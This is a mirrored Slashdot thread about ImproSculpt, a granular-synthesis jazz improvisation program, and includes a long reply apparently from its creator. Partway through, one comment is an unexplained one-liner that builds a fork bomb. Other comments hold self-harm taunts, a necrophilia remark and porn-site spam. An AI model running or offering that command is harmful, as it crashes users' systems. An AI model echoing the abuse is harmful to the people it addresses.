Slashdot Mirror
A Computer Composing and Playing Jazz
Roland Piquepaille writes "The Norwegian University of Science and Technology (NTNU) has some unusual teaching programs. One PhD student, Øyvind Brandtsegg, is a graduate of the jazz program and this article describes how has developed a computer program and a musical instrument for improvisation. The PhD student is 36 years old and is at the same time a composer, a musician and computer programmer. His 'computer instrument' can take any recorded sound as input and split it into a number of very short sound particles that can last for between 1 and 10 milliseconds. 'These fragments may be infinitely reshuffled, making it possible to vary the music with no change in the fundamental theme.'" Brandtsegg improvisational software is called ImproSculpt; his site contains several selections from his musical output, including "some pieces made with the predecessor of ImproSculpt," called FollowMe.
So... it is a wav-to-midi program with a few srand() calls. Pffffffffffffft
"When life gives you lemons, don't make lemonade. Make life take the lemons back!" -- Cave Johnson
The description makes it sound like an extension of Ableton's Live software. And for the record, the software doesn't do any composition, as it's all controlled by the person sitting at the machine. The program essentially looks like a processing/production tool that is suited for live performance.
I went to some free form jazz last night. Everybody seemed to be playing by themselves all at the same time and in a very random fashion. The pianist was just mashing the keyboard. I'm sure a computer could create sounds like that easily.
maybe the players were some kind of robots...
When Noys seduces Harlan, she puts on a device that generates a semi-random sequence using complimentary notes and chords, with the aim of producing never-repeating but beautiful music - this sounds extremely similar.
We're moving ever closer to the music of the future! Wooo.
Wily menfolk everywhere will soon use this software to enhance their seductive power.
Granular synthesis similar to this can be achieved with programs such as Granulab: http://hem.passagen.se/rasmuse/Granny.htm
Should be some other examples on youtube and elsewhere.
That is a very short chunk of 'music'!
Without machines, who will feed us and clothe us and compose our smooth jazz?
There's been a small amount of previous research in jazz solo composition, including a real-time solo-trading system that learns solo styles from data. Here's one paper describing the system that seems to have made the most progress.
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
In TFA, the creator is "just 36 years old"! I'm young again!
did we really ddos'ed that site? I mean, it is kind of interesting stuff, but shouldn't you be working or something? Get the fkcu off, I want to check out if there's any sourcess too!
A new twist to an old tale. I like it very much!
to my ears it is just noise -- forget comparisons to Bach or Mozart - not even on the same planet.
"a number of very short sound particles that can last for between 1 and 10 milliseconds" sounds like granular synthesis. seems like a algorithmic composition (pitch, rythm, duration, etc.) driving a synth; and that the two data sets are unrelated
granular synthesis:
http://en.wikipedia.org/wiki/Granular_synthesis
mr c
"Physics is like sex. Sure, it may give some practical results, but that's not why we do it." - R. Feynman
Have a human jazz band playing and let a computer or a human do the solos. The jury should not be able to distinguish between them.
DNA is the ultimate spaghetti code.
Just play some random notes... makes for excellent artsy jazz.
I want to play Free Market with a drowning Libertarian.
Now you can listen to randomly-determined *parts* of songs, too!
The way I see it, jazz is the kind of music that is enjoyed only by the person[s] playing it, if it's being played by a computer, well...
I think Brandtsegg's build of Csound is an excellent approach to musical permutations, but tfa's calling it "new" is a stretch.
If the dates are correct, the most recent composition on his site appears to be from 2002, and the oldest is from 1994.
You should goatse that up a notch.
please go kill yourself somewhere. Thank you.
MP3 Search Engine
I recommend that they kill themselves in the toilets of their local public library, that way their corpse could be used by the local necrophiles.
If music is composed purely mechanically, i.e. via an algorithm, it seems like it would not enjoy copyright protection.
This might limit its adoption by the music industry, except as a way to generate ideas. Of course, if a musician uses this as a tool then adds his own creative flair, you have a copyrightable work.
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
"They just make it up as they go along. I could do that: dee dee-dee dee dee dee dee, dee dee dee ..."
What?
But doesn't the proclamation of something's newsworthiness denote that it is something interestingly new? Not just some kind of mild iterative improvement, or coexisting thing? "Man in Utah discovers chemical composition of PAINT and PEANUT BUTTER"... ohhh ahhhh.
Raymond Scott is pretty much the "grandfather" of computer generated music. His mechanical composing tools predate just about everything else in the genre. http://www.raymondscott.com/
"I'm playing all the right notes, but not necessarily in the right order."
Task Mangler
10 REM JAZZ ON THE 130 XE
20 FOR I=1 TO 1000
25 J=RAD(I)
30 X=INT(RND(0)*256)
40 SOUND (0,I,X,100)
45 SOUND (1,J,X,80)
50 NEXT I
60 GOTO 20
It's been so long (I was only a little kid back then), so I don't remember what the sound statement parts do. But this is pretty dang close to how the program actually looked.
I thought jazz musicians had something to worry about, but damn if it doesn't sound horrible...
http://oeyvind.teks.no/pre_mercurysiren.mp3
The concept is great however. I've no doubt we're moving towards computer generated music, but still a-ways to go...
My opinion may be slanted but it won't sound as good as John Coltrane.
I live in his hometown.
Professional Politicians are not the solution, they ARE the problem.
getting the word out about my new free porn site!!!
http://mrfriendly.byethost4.com/
To you, yeah, it probably does. Just as a page of perfectly written code won't do a thing to excite the best chef in the world. Just as a building that looks like a bunch of random boxes won't excite a barber, but an architect might take a trip around the world to see it. If you learn a little bit about it, you start to understand why things are done. Why something that appears to be "stupid" is actually one of the most brilliant things ever done.
This sounds like Michael Norris's Chunk Munger or Sample Hose, both released way back in 1996, when computer audio was really hard.
And sloooooooow.
I was actually making that joke back in chem.
Lead's symbol is Pb. We started wondering about Peanut Butter Carbonate, etc.
My first Journal Entry ever, in 8 years! http://slashdot.org/journal/365947/aphelion-scifi-fantasy-horror-poetry-webzine
NTNU is Norges teknisk-naturvitenskapelige universitet in Norwegian. It used to be called Norwegian University of Technology and Science, which is the literal translation --- abbreviated NUTS. I wish they still did that - "I study at NUTS!" :-)
I can imagine a computer producing Jazz tunes on the run (as in Jazz mostly different instruments are in individual harmony, there is no collaborative rhythm / harmony). But composing symphonies would be something!
"Random music is randomly boring"
-- Boycott Shell
Jazz is not random. Jazz is not improv. Jazz is floating counterpoint. This is a specific thing, built on top of well established music theory.
Saying it is random is like looking at the byte values that make up a JPEG of the Grand Canyon and saying "I just don't see it. It's just random numbers".
I'll never understand the tendency of slashdotters (not you, of course, I'm talking about those other guys) to assume anything they don't understand is beneath them.
If computers get better at composing music (and they will), we should eventually see websites that stream newly composed music 24/7.
Instead of selling songs you sell composition.
I don't know if there's a ghost in this machine but it certainly plays with more soul than Kenny G.
Kwisatz Haderach
Sell the spice to CHOAM
This Mahdi took Shaddam's Throne
Hmm, this is, um, ... interesting ... um ... I listened to the first one I found, which sounded a bit like a donkey being sawn in half, apparently recorded in a gannetry. So this is jazz, is it? I'll have to find some of my Loius Armstrong et al. I sincerely hope this was computer generated, I don't think a human voice should sound like that; I'm pretty sure Ella Fitzgerals didn't sing that way, but it's been a while, of course, and people change, don't they? You've got to keep an open mind.
At least it isn't Big Band; it seems in the US artists start out like brilliant, shooting stars, have a golden year or two, and then end up with Big Band Music, presumably because they have given up on real music, but still want to make money from the talent they somehow lost. It's very sad, really. I've seen it happen with B.B.King and Elvis, and then I just tuned out. At least this one seems to be some way away from that fate.
We started wondering about Peanut Butter Carbonate, etc.
Put in some tartaric acid and you'd have peanut butter flavoured sherbet.
You could sell that shit.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
What the hell is this? It's not even newsworthy! Anyone could script up a program that plays midi at random and call it "Improv".
See also here for previous work on this idea: http://www.csl.sony.fr/items/2001/musaicing/
FTA:
between a laptop and a sound generator, the composer soaks up the different tones, processes them, and sends them back in ever-changing variations.
So you feed sounds into the program and it processes them in a cool and somewhat random way and spits it back out. It's a glorified guitar pedal.
The cool thing about this is the element of unpredictability to it. In the right hands this could be used to make some really awesome music. Personally I liked the example clips a lot (for what it's worth, I am a jazz saxophonist). I know a lot of people that would love to get their hands on this and experiment with it, myself included.
A band called ImproSculpt, grrreeat!
I thought "improvise jazz" was taken off the AI wall years ago. See Kurzweil's cartoon or read about it.
He built his website using frames? PhD student, composer, musician & computer programmer he may be - Search Engine savvy web developer he is not.
Stephen Kay has been doing this with Karma technology for over 10 years in various hardware and software forms.
Karma Lab website
Reminds me of generative music: http://en.wikipedia.org/wiki/Generative_music#Software Interesting stuff from a theoretical point of view, but I can't say I've ever heard any that sounds good. Likewise, throwing up random pixels on a monitor might yield an eye-catching image one in a million times, but it's mostly pure noise. I think you need a human hand to direct any music worth listening to. After all, it's we human who listen to the stuff, not computers. Then again, I won't rule out the possibility for the future.
-- http://ninthagenda.com/
You must acquire a taste for free form jazz to prove your maturity credentials :)
http://www.biology.ucsd.edu/labs/reinagel/eflister/demo.mp3
algorithmic jazz is a longstanding hobby of mine. most projects out there try to gather all their domain knowledge by analyzing some input material, but i prefer to provide the algorithm with the same a priori knowledge of music theory that real musicians bring to the table. i tend to be more interested in accompaniment than solos, but i think solos are perfectly doable for keyboard instruments, which don't rely critically on high-dimensional control for expression (like breath/embouchure).
in this example (generated in real time), the parts play from the same chord progression but don't communicate at all and have almost no internal state, they merely play according to some simple heuristics specific to their instrument (the same heuristics that musicians start with). i still find it surprisingly engaging/convincing. i'm curious what unbiased ears think?
credits:
this example is written in python. it uses pyPortMidi (for real time midi output) and mingus (for reasoning about chords). the instruments and processing are from apple's logic pro 7.2.
http://alumni.media.mit.edu/~harrison/code.html
http://code.google.com/p/mingus/
i'd be happy to share code or entertain collaboration/business offers. ;) erik.flister@REMOVE_ME_gmail.com
the best work i've seen in algorithmic music is the following project from a former colleague at CCRMA (http://ccrma.stanford.edu/), which uses the well-codified rules of common-practice harmony to analyze/correct/complete compositions.
Heinrich Taube 1999
Automatic Tonal Analysis: Toward the Implementation of a Music Theory Workbench
Computer Music Journal
http://www.mitpressjournals.org/doi/pdf/10.1162/014892699559977
i'm pursuing a similar project, encoding music-theoretic first-principles in a constraint satisfaction environment (prolog). i'm wondering if anyone else out there has worked on something similar?
Hello all.
As the article got a variety of responses, I thought it might be just as good I chime in and clear up a few points.
I do admit the connection to Beethoven is rather weak, as you probably understand this was not my words, but the write's, anyway I thought his way of writing it conveyed the general meaning, if not totally correct in every sense.
Now to another apology: The web link. Yes, this site is hopelessly out of date. I guess the link have been messed up, as this points to my old site. A newer site (but this one also several months old) can be found at http://oeyvind.teks.no/results/
This page documents the research project covered by the article. There are also quite a lot of audio examples of fairly recent works (last year) at http://oeyvind.teks.no/results/ArtisticDocBrandtsegg.htm (everything after/including Motorpsycho was made with the new version of ImproSculpt4),
It sounds like the comments on the audio clips have been responses to music found on the old site, and yes, this is from 2002 (or thereabouts) and earlier, made with the previous version of ImproSculpt.
Some of you might find it interesting to have a look at the software,
the current version of Improsculpt can be found at http://sourceforge.net/projects/improsculpt/
and some other applications can be found at
http://oeyvind.teks.no/results/applications/partikkelapplications.htm
ImproSculpt is open source, feel free to change it in any way you wish, I'd be happy to help those so inclined to get started. The code on sourceforge also contains extensive user documentation, as well as (of course) documentation of the code.
As some of you correctly stated, I do rely on granular synthesis for substantial parts of the audio processing in ImproSculpt. And granular synthesis is admittedly nothing new.
But there is indeed something new about the kind of granular synthesis used here. Inspired by curtis Roads' excellent book "Microsound" I set out to design a monster granular synthesizer, capable of performing all types of time domain granular synthesis described by mr Roads. The point of doing it all in one single audio generator is to be able to morph seamlessly between different types of granular synthesis. While working on this design, I also came up with a few variants of granular techniques not covered in Microsound. Most notably, the new granular synthesizer is capable of "per grain" control over output routing, effects sends (you can send, say, every 5th grain to a reverb), mixing of several souce waveforms into each grain, doing frequency modulation inside grains, synchronizing the grain generator clock to an external clock source (or other instances of the same granular synthesizer. And so on. due to the extensive possibilities of this granular synthesizer, I decided to name it "partikkel", which is Norwegian for "particle". Even Curtis Roads have used "particle synthesis" as an alternate term to describe granular synthesis. The "partikkel" generator was designed by me, and implemented as an opcode for Csound by Thom Johansen and Torgeir Strand Henriksen. Anyone can get Csound for free (open source) and start working with "partikkel" to see what it can do. Admittedly, it is a monster, and not exactly user friendly. This is the reason why I created the partikkel applications (link above) to encourage other users to start experimenting with partikkel. all of the applications represent subsets of the partikkel features, taking something away to make something else easier to understand.
Now, ImproSculpt is not all about particle synthesis, there are other composition techniques involved as well. some of these work on melodies and harmonies in a somewhat more traditional sense. These algorithms analyze midi input notes, creating v